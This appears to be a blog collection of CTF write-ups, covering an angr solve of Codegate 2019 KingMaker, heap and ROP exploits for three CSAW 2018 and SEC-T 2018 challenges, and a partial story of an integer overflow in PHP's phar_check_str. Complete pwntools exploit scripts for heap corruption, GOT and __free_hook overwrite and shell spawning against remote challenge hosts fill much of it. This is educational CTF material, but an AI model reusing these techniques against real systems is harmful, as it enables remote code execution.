Even the King bows before angr

This is a follow up of the KingMaker challenge from Codegate CTF Preliminary 2019. We solved this challenge during the CTF but when someone asked if it was possible to solve it using angr, I wanted to try it out myself.

The binary asks us for 5 keys which are then used to xor parts of the code segment. So if you get the keys right, the rest of the code will be correctly decrypted. We got the keys by xor’ing the first few bytes at each address with the assembled values of the instructions push rbp and mov rbp, rsp and some other such instructions.

Once you’ve got all the keys, there’s one more function which asks you for a string and then does some kind of verification.

The remaining inputs are all integers which represent choices which you (the prince) must decide between. And if all your choices are right, then you get to become the King and get the flag. This is done by a function which checks the value of 5 global variables and if they’re all equal to 5, then you get the flag. Also, this function has to be called with the second argument set to 1.

We solved this by first figuring out the required strings and then trying all possible combinations of integers.

But for the rest of this post, I will be detailing two days of effort that I’ve spent on something that is little more than a fruit of pure arrogance.

The first thing I did was to patch the original binary with all the keys that we found. I’ve added the code for that at the end. Note that this code is Python2.7 only because I was too lazy to figure out why my Python3 code was creating an invalid ELF.

The next thing to do is to patch the functions which verify the string inputs. This is where angr’s hooking functionality becomes useful. I could’ve just as easily overwritten the first byte of these functions with a ret instruction, but what fun would that be ?

Now, the function which gives us the flag is pretty much called in every function with the second argument set to 0, There’s only one block from which this function is called with the second argument is set to 1. So that’s where we need to reach.

The integers that represent our choices are read in via scanf. So, in order to avoid reading the symbolic variables off the stack, I decided to hook scanf with a function that returned a symbolic variable if the format was ‘%d’.

But angr couldn’t find a path from the main function to the target block even after 110 minutes and after using up 98% of 64 gigs of RAM.

Then I found that the first couple of functions did not use the input to manipulate the global variables. These functions only had two choices and if you entered the wrong one, the program exits. So, I decided to skip those functions and try exploration once again. This time, I tried setting the auto_drop feature to automatically drop the avoid and unsat states which I hoped would free up some memory.

No luck. angr still used up too much memory.

Then I tried going through the different exploration techniques listed in the angr docs. ManualMergepoint seemed promising at first glance. But in retrospect, I don’t think it would’ve really made much of a difference.

The technique that eventually worked was DFS. It found the first path to the target block in less than 40 seconds.

But this path didn’t really satisfy the constraints that were required. And I couldn’t ask angr to find as many paths as possible because that would probably end up in another path explosion.

That’s when I looked up the angr documentation and it said that the find argument in the explore method can also be a function that returns either True or False.

So, I wrote up a function that would first check if the state had reached the target address and if so, it would then apply the constraints on the global variables.

I created a list to store the symbolic variables which I then stored in the state.globals. But at the end of exploration, the list contained nearly 3000 symbolic variables which is nearly 10 times the number of times the expected value.

It seemed like every state wrote to the same global object. So in order to get rid of that, I modified the code so that it would reset this list every time a state was not satisfiable. This lead to a different problem as now, the list contained too few symbolic variables. This probably happened because of a branching instruction at which the state split into two. When the first one was unsat , it probably reset the list which contained all the symbolic variables that were created up until that point. So the second state only contains the symbolic variables that were created after the branching instruction.

The solution was to just use a dictionary to map the basic block which calls scanf to the symbolic variable. So, if at some point, a state is unsat, the state which succeeds it should overwrite this symbolic variable.

And that eventually worked. It took about 40 minutes and only 1% of RAM for angr to find a path from the address 0x403197 to the target block. But trying to find a path from main to the target block took significantly more amount of time.

Anyway, here are the relevant scripts.

The solution

from pwn import *

keys = ['lOv3', 'D0l1', 'HuNgRYT1m3', 'F0uRS3aS0n', 'T1kT4kT0Kk']
nums = [1, 1, 2, 2, 3, 1, 2, 1, 1, 2, 1, 2, 2, 3, 1, 1, 1, 2, 3, 2, 2, 1]

vals = []
for x in nums:
    vals.append(str(x))

p = process('./KingMaker')
p.sendline(vals[0])
p.sendline(keys[0])
for x in range(1, 5):
    p.sendline(vals[x])
p.sendline(keys[1])
for x in range(5, 11):
    p.sendline(vals[x])
p.sendline(keys[2])
for x in range(11, 14):
    p.sendline(vals[x])
p.sendline(keys[3])
p.sendline(vals[14])
p.sendline(vals[15])
p.sendline('A'*6)
p.sendline(vals[16])
p.sendline(vals[17])
p.sendline(keys[4])
for x in range(18, len(vals)):
    p.sendline(vals[x])
print p.recvall()

Patching 


fixes = {0x40341D: {'key': 'lOv3', 'sz': 0xf0},
         0x40330F: {'key': 'lOv3', 'sz': 0xf0},
         0x4033FF: {'key': 'lOv3', 'sz': 0x1e},
         0x4032C0: {'key': 'lOv3', 'sz': 0x1e},
         0x4032DE: {'key': 'lOv3', 'sz': 0x31},
         0x403197: {'key': 'lOv3', 'sz': 0x129},
         0x4030D4: {'key': 'lOv3', 'sz': 0xc3},
         0x402D55: {'key': 'D0l1', 'sz': 0xfa},
         0x402C25: {'key': 'D0l1', 'sz': 0x112},
         0x402D37: {'key': 'D0l1', 'sz': 0x1e},
         0x4027E9: {'key': 'D0l1', 'sz': 0x44},
         0x4029B9: {'key': 'D0l1', 'sz': 0xe6},
         0x402B2B: {'key': 'D0l1', 'sz': 0xfa},
         0x4028B5: {'key': 'D0l1', 'sz': 0xe6},
         0x40299B: {'key': 'D0l1', 'sz': 0x1e},
         0x40271C: {'key': 'D0l1', 'sz': 0xcd},
         0x402A9F: {'key': 'D0l1', 'sz': 0x4e},
         0x402AED: {'key': 'D0l1', 'sz': 0x3e},
         0x40282D: {'key': 'D0l1', 'sz': 0x44},
         0x402871: {'key': 'D0l1', 'sz': 0x44},
         0x4020E2: {'key': 'HuNgRYT1m3', 'sz': 0x18d},
         0x40201F: {'key': 'HuNgRYT1m3', 'sz': 0xc3},
         0x401B0A: {'key': 'F0uRS3aS0n', 'sz': 0xf0},
         0x4019F2: {'key': 'F0uRS3aS0n', 'sz': 0xfa},
         0x401AEC: {'key': 'F0uRS3aS0n', 'sz': 0x1e},
         0x40192C: {'key': 'F0uRS3aS0n', 'sz': 0xa8},
         0x4019D4: {'key': 'F0uRS3aS0n', 'sz': 0x1e},
         0x4016D0: {'key': 'F0uRS3aS0n', 'sz': 0xc3},
         0x4011BB: {'key': 'T1kT4kT0Kk', 'sz': 0x131},
         0x400F25: {'key': 'T1kT4kT0Kk', 'sz': 0xdc},
         0x40108B: {'key': 'T1kT4kT0Kk', 'sz': 0x130},
         0x401001: {'key': 'T1kT4kT0Kk', 'sz': 0x1e},
         0x40101F: {'key': 'T1kT4kT0Kk', 'sz': 0x4e},
         0x40106D: {'key': 'T1kT4kT0Kk', 'sz': 0x1e},
         0x400DE7: {'key': 'T1kT4kT0Kk', 'sz': 0x120},
         0x400F07: {'key': 'T1kT4kT0Kk', 'sz': 0x1e},
         0x400C8C: {'key': 'T1kT4kT0Kk', 'sz': 0x15b}
         }

def xor(code, key):
    new_code = ''
    for x in range(len(code)):
        new_code += chr(ord(code[x]) ^ ord(key[x % len(key)]))
    return new_code


def fix_file(addr, length, content, key):
    offset = 0x40341D - addr
    start = 13341
    source = content[start-offset:start-offset+length]
    original = content[:start-offset]
    original += xor(source, key)
    original += content[start-offset+length:]
    return original


def patch():
    f1 = open("KingMaker", "rb")
    content = f1.read()
    f1.close()
    for addr in fixes:
        key = fixes[addr]['key']
        sz = fixes[addr]['sz']
        content = fix_file(addr, sz, content, key)

    f2 = open("Patched.bin", "wb")
    f2.write(content)
    f2.close()


if __name__ == '__main__':
    patch()

Exploration

import angr
from angr.exploration_techniques.dfs import DFS

GOAL = 0x400B58
XOR_FUNC = 0x400AB9
RUN_TEST = 0x400A16
DECRYPT_FUNC = 0x401793

inputs = {}
LE = angr.archinfo.Endness.LE


class scanf_hook(angr.SimProcedure):
    def run(self):
        global inputs
        if self.state.solver.eval(self.state.regs.rdi) == 0x4041F9:
            # %s
            return
        elif self.state.solver.eval(self.state.regs.rdi) == 0x40394F:
            # %d
            expr = self.state.solver.BVS('inp', 32)
            self.state.solver.add(expr > 0)
            self.state.solver.add(expr < 5)
            block_addr = list(self.state.history.bbl_addrs)[-3]
            inputs[block_addr] = expr
            self.state.memory.store(self.state.regs.rsi, expr, endness=LE)
        else:
            print("!!!!!!!!!!!!!New condition!!!!!!!!!!!!!!")
            print(self.state.solver.eval(self.state.regs.rdi))

def get_target(cfg):
    targets = []
    for addr in cfg.kb.callgraph.predecessors(GOAL):
        sites = []
        func = cfg.functions.function(addr)
        for x in func.get_call_sites():
            if func.get_call_target(x) == GOAL:
                b = cfg.get_any_node(x).block
                ins = b.capstone.insns[-3]
                op = ins.insn.operands[1]
                if op.imm == 1:
                    targets.append(x)
    return targets


def apply_constraints(state):
    global inputs
    # This is the address which get_target returns
    if state.addr != 0x400C3C:
        return False
    stats = [0x60716C, 0x607170, 0x607174, 0x607178, 0x60717C]
    for addr in stats:
        expr = state.memory.load(addr, 4, endness=LE)
        state.solver.add(expr == 5)

    return state.satisfiable()


def explore():
    p = angr.Project('./Patched.bin', load_options={'auto_load_libs': False})
    # cfg = p.analyses.CFG()
    # target = get_target(cfg)

    p.hook_symbol('__isoc99_scanf', scanf_hook())
    p.hook(XOR_FUNC, angr.SIM_PROCEDURES['stubs']['Nop']())
    p.hook(RUN_TEST, angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained']())
    p.hook(DECRYPT_FUNC, angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained']())

    # This one takes nearly 2 hours to find a path
    # s = p.factory.blank_state(addr=0x403780)

    # And this one takes 40 minutes
    s = p.factory.blank_state(addr=0x403197)
    pg = p.factory.simulation_manager(s, auto_drop=['avoid', 'unsat'])
    pg.use_technique(DFS())
    pg.explore(find=apply_constraints, avoid=GOAL)

    for state in pg.found:
        print("Inputs")
        for x in list(state.history.bbl_addrs):
            if x in inputs.keys():
                print(state.solver.eval(inputs[x]))


if __name__ == '__main__':
    explore()

CSAW CTF Quals 2018 AlienInvasion Writeup

Challenges involving House of Einherjar are usually a hassle because of all the calculations involved. However, this post should serve the purpose of listing the basic requirements for an attack using the House of Einherjar.

The binary employs almost all protections except for FORTIFY and FULL RELRO. Additionally, the binary contains a bit of code which saves the original malloc and free hooks at the start of the main function. And the binary checks these values every now and then to make sure that it wasn’t corrupted. So basically, a fastbin attack to the malloc_hook is out of the question for now.

There are two structures used by the binary. One to represent a samurai and the other to represent an alien. Both these type of structures have their own respective tables in the bss which is capable of storing up to 256 objects each. The binary also contains an array which stores upto 256 names of swords with each name being at most 8 bytes in length.

The samurai structure looks like this :

struct samurai {
char *sword;        // This points to an entry in the swords table in the bss
int x;                      // I have no idea what purpose this value serves
}

And the structure used to describe an alien looks like this :

struct alien {
char *name;         // This points to a chunk that will be allocated on the heap.
int y;                      // Again, a complete waste of space.
}

The binary first allows us to create or remove samurai objects. Each time we create a samurai object, we are asked to enter an 8 character name for the sword which is saved in the swords table.

Once we’re done creating and removing samurai’s to our hearts content, we can then create, remove or rename aliens. Keep in mind that we can’t go back to creating samurais once we’ve reached here.

While creating an alien, the binary asks us to specify the length of the name which is then used in a call to malloc. The vulnerability also lies in the fact that the binary tries to null out the byte right after our input ends.

Screenshot from 2018-09-17 15-09-44

This can be used to create a single null byte overflow.

Another vulnerability lies in the functionality which allows us to rename an alien. Renaming only allows you to edit the first 8 bytes of the name, but before requesting a new name, it prints out the old name. This is pretty much the only place in the binary where a call is made to printf with a format string that contains a %s.

But the vulnerability in this function is that it does not verify the index that the user provides.

Screenshot from 2018-09-17 15-15-30

If we were still able to create samurai’s, we could’ve used this vulnerability. But I couldn’t find any other use for this vulnerability in the situation.

So, the only useful vulnerability we have is the single null byte overflow. But that’s all we need to pwn this binary.

The rest of this post is going to be a quite detailed description of the House of Einherjar and how to use it in this scenario. So, if you’re already familiar with it, you can scroll down and skip it.

A single null byte overflow can be leveraged to flip the PREV_INUSE bit of a chunk. In order to do that, an ideal size of the target chunk would be 0xf0. And if you look at the metadata of this chunk, the size field would contain the value 0x101. This is the ideal case because, if the size of the chunk was 0x100, the metadata would be 0x111 which when overwritten with the null byte would become 0x100. And when free tries to look for the chunk that lies immediately after this target, it won’t find it since free is looking at an offset of 0x100 instead of 0x110.

Now, with the PREV_INUSE bit set to 0, free understands that the preceding chunk is free and the current chunk (target) is to be freed. Therefore, free will try to merge the previous and the current chunks. In order to locate the preceding chunk, free uses the PREV_SIZE field of the target chunk to locate the preceding chunk. The actual code looks like

#define prev_chunk(p) ((mchunkptr) (((char *) (p)) – prev_size (p)))

Now here’s the interesting bit.

The PREV_SIZE field of a chunk is only used if the preceding chunk is free. Which also means that, the PREV_SIZE field is basically useless if the preceding chunk is not free.

Therefore malloc tries to make use of this situation by allowing in-use chunks to use the PREV_SIZE field of the next chunk. When you allocate a chunk of size 0x80, the size field of the chunk would be 0x91. However, if you allocate a chunk of size 0x88, the size field is still 0x91. In this situation, the last 8 bytes of this chunk would actually be the PREV_SIZE field of the next chunk. Keep in mind that this PREV_SIZE is useless unless the preceding chunk is free.

Now, if we were able to flip the PREV_INUSE bit of the next chunk, whatever value we store in the PREV_SIZE field ( ie the last 8 bytes of our input) would be considered and used in the macro as above.

This is where we use the null byte overflow.

So what we need is two chunks adjacent to each other. The first one which is created with a size that ends in 8 (say 0x28) and the second one which is created with a size of 0xf0 (for the 0x100 thingy).

Great, now we know that we are supposed to flip the PREV_INUSE bit so that the PREV_SIZE field will be used. The next thing is to decide what the PREV_SIZE field is going to be.

Since we are going to be merging a chunk with another chunk that was already freed, the latter will need to be unlinked from its respective linked list and the final, merged, chunk has to be added into its respective linked list. Thus, the unlink macro gets invoked here on the preceding chunk. We need to set the PREV_SIZE field so that we pass all the checks in the unlink macro. The most important would be this

FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (“corrupted double-linked list”);

One way to do this would be to make sure that the preceding chunk contains two pointers that point to itself.

Untitled drawing

Since we do not know the address of the heap yet, this is not possible.

The next idea would be to just use a chunk that is already in a linked list and set the PREV_SIZE so that the prev_chunk macro points to this (already freed) chunk.

Therefore, unlinking the latter wouldn’t cause any carnage.

Great. So our idea is to create a chunk that gets freed and put into the linked list. And then set the PREV_SIZE of the target chunk so that the prev_chunk macro points to the first chunk.

Implementing this leads to a small hiccup. Whenever you create an alien, the first thing that gets allocated is the alien structure. Therefore, if you were to create an alien with a name that is 0x28 bytes long followed by an alien whose name is 0xf0 bytes long, the heap would look like this.

Untitled drawing

So, the null byte would just flip the size field of the Alien2 which doesn’t do anything useful for us.

But, there is a way to bypass this problem. Suppose we create an alien with a name that is 0x10 bytes long. Both the alien object and the name chunk would have a size field which reads 0x21.

Untitled drawing (1)

If we free this alien first, both the chunks go into the fastbin of size 0x20. Now, allocating Alien1 and Alien2 with sizes of 0x28 and 0xf0 would result in something that looks like this.

Untitled drawing

And with that we can use the null byte to wreak all havoc using the steps described above.

So, once we free the second alien, we get a gigantic chunk that overlaps the Alien1 object and its Name1 chunk.

Now we can start to perform the tweaks needed to get some memory leaks. Once we get this gigantic chunk, it will contain pointers (BK and FD) that point to the libc. Our objective is to leak those pointers.

And in order to do that, we will request some memory which will shrink this gigantic chunk so that the new, smaller free chunk will overlap with a name chunk of some alien.

Untitled drawing

Keep in mind that in the above picture, everything from the Free chunk up until the Name2 is one gigantic free chunk that we created using the House of Einherjar. That after allocating some memory would become something like this :

Untitled drawing (1)

So the Free chunk (or what’s left of it) overlaps the Name4 chunk. And the BK of this free chunk will be first 8 bytes of the Name4. So, renaming the Alien4 would leak out this memory.

And thus we have a libc leak.

We could’ve stopped here and gone ahead with a fastbin attack to overwrite the malloc_hook, but since there are mitigations to prevent that, we have to get more leaks.

What is required is to get a leak of the binary. One way to do that would be to change the name pointer of an alien object to point to a samurai object which contains a bss address.

But in order to do that, we need to be able to change the name pointer of an alien object somehow.

Here, we use the shrinking technique again. This time the difference is that we shrink it so that the allocated chunk overlaps with an alien object. This results in a situation as follows :

Untitled drawing

Thus we can use the rename functionality on the Alien6 to overwrite the name pointer of the Alien4.

Armed with this, we can now change the name pointer of Alien4 to get some memory leaks. Firstly, in order to get a leak of the heap, rename Alien6 (which will change the name pointer of Alien4) and point it to the libc’s main arena which will contain a heap address.

And then renaming the Alien4 prints out this heap address.

Repeat the process and change the name pointer of Alien4 to point to the samurai object and leak that out to get the binary’s base address.

Now, all that is left is to change the name pointer once again and make it point to the GOT table.

And then, change the GOT table entry of strtoul to system, send the string ‘sh;’ and wait for a shell.
 

from pwn import *


def create_samurai(name):
    p.sendlineafter('Daimyo, nani o shitaidesu ka?', '1')
    p.sendlineafter("What is my weapon's name?", name)


def kill_samurai(idx):
    p.sendlineafter('Daimyo, nani o shitaidesu ka?', '2')
    p.sendlineafter('Which samurai was dishonorable O lord daimyo?', str(idx))


def done():
    p.sendlineafter('Daimyo, nani o shitaidesu ka?', '3')


def create_alien(name, size):
    p.sendlineafter('Brood mother, what tasks do we have today.\n', '1')
    p.sendlineafter('How long is my name?\n', str(size))

    if len(name) < size:
        name += '\n'
    p.sendafter('What is my name?\n', name)


def remove_alien(idx):
    p.sendlineafter('Brood mother, what tasks do we have today.\n', '2')
    p.sendlineafter('Which alien is unsatisfactory, brood mother?\n', str(idx))


def rename_alien(idx, name, flag=False):
    p.sendlineafter('Brood mother, what tasks do we have today.\n', '3')
    p.sendlineafter('rename?\n', str(idx))
    p.recvuntil('to rename ')
    if flag is True:
        leak = u64(p.recv(6).ljust(8, '\x00'))
    if len(name) < 8:
        name += '\n'
    p.sendafter(' to?\n', name)
    if flag is True:
        return leak


if __name__ == '__main__':
    if sys.argv[1] == 'remote':
        p = remote('pwn.chal.csaw.io', 9004)
    else:
        p = process('./aliensVSsamurais', env={'LD_PRELOAD': './libc.so.6'})
    libc = ELF("./libc.so.6")
    e = ELF("./aliensVSsamurais")

    # A samurai object contains a pointer to
    # the bss. We'll leak it later.
    create_samurai('blah')
    # We need two objects because the swords
    # table lies at an address that starts with
    # a null byte. So, we leak the second one.
    create_samurai('bleh')
    done()

    create_alien('a0', 0x10)

    # We'll create a smallbin chunk which will
    # be coalesced later on
    create_alien('a1', 0x80)

    # One chunk to leak libc
    # The second to leak heap and bss
    create_alien('a2', 0x20)
    create_alien('a3', 0x20)

    # This puts two chunks of size 0x21 into the fastbins
    remove_alien(0)

    # first chunk gets used here
    create_alien('a4', 0x28)

    # second chunk gets used here
    # Now the name chunks of the two aliens are adjacent.
    create_alien('a5', 0xf0)

    # Prevent merging with top chunk
    create_alien('a6', 0x20)

    # Put the chunk into the smallbin
    remove_alien(1)

    # we'll allocate this right afterwards
    remove_alien(4)

    prev_sz = 0x90+0x30+0x50+0x50
    payload = fit({0x20: p64(prev_sz)})
    # Null byte overwrite happens here 
    create_alien(payload, 0x28)

    # Trigger backward coalescing
    remove_alien(5)

    # Shrink the large overlapping chunk
    create_alien('a8', 0x80)
    create_alien('a9', 0x60)

    # The chunk in the smallbin now overlaps
    # with the name chunk of the third alien
    libc.address = rename_alien(3, '', flag=True) - 0x3c4b78
    log.success("Leaked libc @ {}".format(hex(libc.address)))
    # Leak the heap from the main arena 
    target = libc.address + 0x3c4b78
    system = libc.symbols['system']

    # The name chunk of the 9th alien overlaps with 
    # the second alien object. So renaming the 9th
    # alien changes the pointer of the second alien
    rename_alien(9, p64(target))

    heap = rename_alien(2, '', flag=True) - 0x1770
    log.success("Leaked heap @ {}".format(hex(heap)))

    # Leak the binary from the second samurai object
    target = heap + 0x1450

    # Same process repeated
    rename_alien(9, p64(target))

    e.address = rename_alien(2, '', flag=True) - 0x202708
    log.success("Leaked base @ {}".format(hex(e.address)))

    # Fairly self explanatory
    rename_alien(9, p64(e.got['strtoul']))
    rename_alien(2, p64(system))
    p.sendline('sh;')
    p.recvline()
    p.interactive()

CSAW CTF Quals 2018 Turtles writeup

I gotta say, the binary challenges for this year’s  CSAW are a tremendous improvement over the last year’s. I just had to say that much. Well done admins!

The binary looks a bit intimidating at first sight because it uses a couple of functions which I hadn’t heard of before. I googled the functions and came to know that it is related to Objective C. However, it turns out that you don’t need to know anything about Objective C in order to pwn this binary.

The interesting bit of code starts at main+163 where the binary prints out a heap address.

The address being printed is the address of the object that is created and used by the Objective C functions.

The binary then reads in 2064 bytes of user input into a stack buffer. (No overflow there). It then copies 200 bytes of that input and overwrites the object with a call to memcpy.

The binary then calls a function objc_msg_lookup which takes in the object and a table as arguments and returns a function pointer. This function pointer was then executed by the binary immediately afterwards. So, my plan of exploit was to control the function pointer being returned.

Going through the assembly code of this objc_msg_lookup, we see that there are a couple of checks being performed on the arguments. If you satisfied enough of those, the function would return *(*(*((*obj)+0x40)+0x8)) which can be controlled.

The only value that was being used in a comparison is located at an offset of 0x28. So, I decided to replace almost every other pointer with the start address of the object itself. So, in essence, the value that would be used in the comparison would be located at obj+0x28.

Once you’ve done all that, you can successfully control the function pointer which is going to be called. Great. Now what ?

Now comes the part where we decide what the function is going to be.

At the point where the function pointer is invoked, we can see that the stack contains a few bits an pieces of the 2064 byte input that we gave. So, what I did was to use a ROP gadget to pop 6 times and then execute a ret instruction.

This ended up leaving the stack pointer in the buffer used for input. However, the first couple of bytes of the input are specially designed to control the function pointer, and therefore have to be skipped. So, I decided to insert the same pop_6_ret gadget again so that the stack pointer moves above all the values that are being used by the objc_msg_lookup function.

And now I have enough space to create a ROP chain.

The ROP chain basically prints out the GOT table entry of the read function and then goes back to main.

Now, I used all the previous steps once again to execute another ROP chain. This one would execute a pop_rdi_ret which would populate the RDI register with a pointer to the string “/bin/sh” and then calls the function system.

I ran into a couple of issues when trying to get the offset of system from read because the libc wasn’t provided at the start. When that didn’t work, I resorted to using syscalls to pop a shell. I figured that there’d be a syscall instruction at read+14 in every libc. But that didn’t work for some reason. Finally, the admins uploaded the libc and all was good.

from pwn import *

main = 0x400b84
pop_6_ret = 0x00400d3a
pop_rdi_ret = 0x00400d43
HOST, PORT = 'pwn.chal.csaw.io', 9003


if __name__ == '__main__':
    if sys.argv[1] == 'remote':
        p = remote(HOST, PORT)
    else:
        p = process('./turtles')

    e = ELF('./turtles')

    p.recvuntil('Here is a Turtle: ')
    heap = int(p.recvline().strip(), 16)
    log.success("Heap @ {}".format(hex(heap)))

    read_got = e.got['read']
    printf_plt = e.plt['printf']

    # First thing to do is to leak libc
    # Then return back to read in second payload
    rop_chain = ''
    rop_chain += p64(pop_rdi_ret)
    rop_chain += p64(read_got)
    rop_chain += p64(printf_plt)
    rop_chain += p64(main)

    fake_chunk = fit({0: p64(heap),
                     0x8: p64(heap+16),
                     0x10: p64(pop_6_ret),
                     0x18: p64(pop_6_ret),
                     0x28: p64(0),
                     0x40: p64(heap),
                     0x50: rop_chain}, length=0x800)
    p.sendline(fake_chunk)

    # Leaks
    read = u64(p.recv(6).ljust(8, '\x00'))
    log.success("Leaked read @ {}".format(hex(read)))
    system = read + 0xd10
    log.success("System @ {}".format(hex(system)))

    # I was too lazy to calculate the new object's address
    p.recvuntil('Here is a Turtle: ')
    heap = int(p.recvline().strip(), 16)

    # Let's call system
    rop_chain = ''
    rop_chain += p64(pop_rdi_ret)
    rop_chain += p64(heap+0x48)
    rop_chain += p64(system)

    fake_chunk = fit({0: p64(heap),
                     0x8: p64(heap+16),
                     0x10: p64(pop_6_ret),
                     0x18: p64(pop_6_ret),
                     0x28: p64(0),
                     0x40: p64(heap),
                     0x48: '/bin/sh\x00',
                     0x50: rop_chain}, length=0x800)
    p.sendline(fake_chunk)

    # Here you go
    p.interactive()

 

SEC-T CTF 2018 Hof Write-up

Let’s get right into it.

The binary maintains a structure that looks something like this :

struct user {
int idx;
int cash;
char name[48];
char *desc;
}

Every time a new object of this structure is created, it is added into a table.

Reversing the binary was a bit of a pain, since they had gone out of their way to make simple tasks as complicated as possible.

In order to copy data to the name buffer, the binary used the xmm0 register to copy 16 bytes at a time. And in order to calculate the length of the input string, there was a complicated set of bitwise operations which I didn’t bother to go into. I found that it eventually calculated the length of the input and that was all I needed.

The binary does allow a functionality to create an alias for a user.

If an alias is set, then a pointer to this user object is saved in another object which looks something like this.

struct alias {
user *user_obj;
char alias[16];
}

This object, if created, is then added into another table.

The vulnerability here lies in the fact that removing a user only removes the object from the table of users. The table of alias’s will still contain a pointer to the (removed) user object.

Choosing a user object, for manipulation, can be done via either its index in the table of users or its alias.

In order to get leaks, all that is needed is to create such a UAF situation and then print out the contents of the object which will leak out the heap and the libc addresses.

Once we have the leaks, we can start with the actual exploit.

The binary uses the newer libc which contains the tcache functionality. In order to make it clear to everyone ( and as a self note to myself), removing a chunk from the tcache list does not check perform any checks. So, it possible to get a chunk allocated basically anywhere.

So, in order to exploit the UAF, all that is required is to overwrite the FD of a chunk in the tcache with the address of the __free_hook. The second allocation after this returns a pointer to the __free_hook which we can overwrite with a one-shot-RCE gadget.

I did think about overwriting the __free_hook with system instead of an RCE gadget since that would be more reliable. But neither of the objects contain strings in the first 8 bytes.

Anyways, I’ve left out most of the low level details and issues I ran into while creating the exploit.

But the script does contain enough comments to fix that if anyone is interested in trying out the challenge.

from pwn import *

prompt = ' > '
context.terminal = 'bash'
HOST, PORT = '142.93.39.178', 2024


def create(name, desc, alias=''):
    p.sendlineafter(prompt, 'create '+alias)
    p.sendlineafter('Name: ', name)
    p.sendlineafter('Desc: ', desc)


def update(name, desc, cash, alias='', idx=0):
    p.sendlineafter(prompt, 'update '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Name: ', name)
    p.sendlineafter('Desc: ', desc)
    p.sendlineafter('Cash: ', str(cash))


def remove(alias='', idx=0):
    p.sendlineafter(prompt, 'remove '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))


def show(alias='', idx=0):
    p.sendlineafter(prompt, 'show '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))
    p.recvuntil('  Index: ')
    idx = int(p.recvline().strip())
    p.recvuntil('  Name:  ')
    name = p.recvline().strip()
    p.recvuntil('  Desc:  ')
    desc = p.recvline().strip()
    p.recvuntil('  Cash:  $')
    cash = int(p.recvline().strip())
    return idx, cash, name, desc


def award(cash, alias='', idx=0):
    p.sendlineafter(prompt, 'award '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Cash: ', str(cash))


if __name__ == '__main__':
    if sys.argv[1] == 'remote':
        p = remote(HOST, PORT)
    else:
        p = process('./hof', env={"LD_PRELOAD": './libc.so.6'})

    libc = ELF('./libc.so.6')

    # Create 7 chunks which go into the tcache
    for x in xrange(7):
        create('x', 'y'*0x80, str(x))

    # the object that will be the target of the UAF
    create('A', 'B'*0x80, 'test')
    # Just to prevent the previous chunk from being merged 
    # with the top chunk
    create('C', 'D')

    # Populating the tcache
    for x in xrange(7):
        remove(idx=x)

    remove(idx=8)
    # UAF happens here
    remove(idx=7)

    # leak it all
    idx, cash, _, desc = show('test')

    heap = idx + (cash << 32) - 0x1970
    libc.address = u64(desc.ljust(8, '\x00')) - 0x3ebca0
    log.success("Leaked heap @ {}".format(hex(heap)))
    log.success("Leaked libc @ {}".format(hex(libc.address)))
    free_hook = libc.symbols['__free_hook']
    gadget = libc.address + 0xe5858
    log.success("Hook @ {}".format(hex(free_hook)))
    log.success("Gadget @ {}".format(hex(gadget)))

    # Now for the exploit
    # The object that will become the target of this UAF
    create('A', 'B', 'junk')
    # Just to populate the FD of the target chunk
    create('C', 'D')

    remove(idx=10)
    remove(idx=9)

    # Overwrite FD to __free_hook
    update('A', p64(free_hook)[:6], 999, alias='junk')

    # We screw up the FD when we update the chunk
    # Making sure that the next malloc doesn't segfault
    for x in xrange(cash/999-1):
        award(999, alias='junk')
    award(cash%999 , alias='junk')

    create('X', 'Q')

    # This is going to be our free_hook
    create('Z', p64(gadget), 'exploit')

    # Trigger the one shot RCE gadget
    remove('exploit')

    p.interactive()

The pseudo-zero-day

During the course of a project of which I was a part, I had to analyse an old version of PHP in order to show that our project could’ve identified the vulnerability which was reported as a CVE-2015-3329.

But, this blog post will be about something else that we discovered about PHP during the course of the project.

My professor asked me to get some examples from PHP where our static analysis would say that some code is vulnerable, but then the symbolic execution would refute that claim.

So, I started looking for functions in PHP which called memcpy in order to copy some data on to a stack buffer. And I finally found one such function phar_check_str which did the same. And there was a comparison on the number of bytes to be copied, so symbolic execution would tell me that this is a negative.

So, I ran our static analysis code in order to see if it could find a data dependence between the data being used as input in memcpy and the argument passed to this function.

It couldn’t.

Our project uses angr for the static analyses as well as the symbolic execution. So, here we discovered that angr’s DDG was faulting (might’ve also been because of my code though).

“So, static analysis broke, but let’s just symbolically execute this anyway”.

For those of you who are too lazy to look up the code of phar_check_str, here is a snippet which contains the important stuff.

int phar_check_str(const char *ext_str, int ext_len) {
	char test[51];

	if (ext_len >= 50) {
		return FAILURE;
	}
	memcpy(test, ext_str - 1, ext_len + 1);

So, I started up angr and asked the simulation_manager to find me a path to the memcpy call.

I was kind of surprised when angr reported that it found a path. Then I realised that I hadn’t added any constraints. So, I just had to add constraints, and angr would tell me that there isn’t any value which satisfies all these constraints and therefore, this memcpy call cannot be triggered if the ext_len is greater than 50.

So, I added a constraint that ext_len had to be greater than 50.

I was expecting to see an Unsat error. Instead, it showed me this value : 2147483648.

It took me a while to understand the reason behind this. It helps if you look at the value in hex ( 0x80000000 ).

“Ahh, the infamous integer overflow.”

So, I look up the current version of PHP (7) and checked if this bit of code was still in use. And it is.

I was ecstatic, I had discovered my first 0-day. Or so I thought.

I wanted to create a full-fledged exploit or at least, trigger the overflow. So, I started creating a POC.

This bit of code gets called from another function phar_detect_phar_fname_ext (whoever was in charge of naming these functions was definitely not the subtle type) which in turn get’s called from phar_split_fname and phar_open_or_create_filename.

So, following the phar_open_or_create_filename, we see that it gets called from what I believe is the constructor of the Phar class.

So, I had to create a file with a really long name and use the Phar class to open that file which would use this code path.

So, here I ran into obstacle number 1 => really long file name.

In Linux, the maximum length of a file name is 255 characters ( 2^8 – 1). I needed 2^31.

So, I started thinking of another way to trigger this code path and I tried creating a file with a small name, but in the code which required a path to the file, I gave a string which contained 0x80000000 forward slashes. So, essentially,

‘.’ + ‘/’ * 0x80000000 + ‘test’

But, Linux specifies that a path can be a maximum of 4096 characters long ( 2^12).

So, I started looking up file-systems which would allow really large file names and/or file paths. And apparently, the HFS and HFSPlus file-systems do not have any limitation on the file-path length according to this.

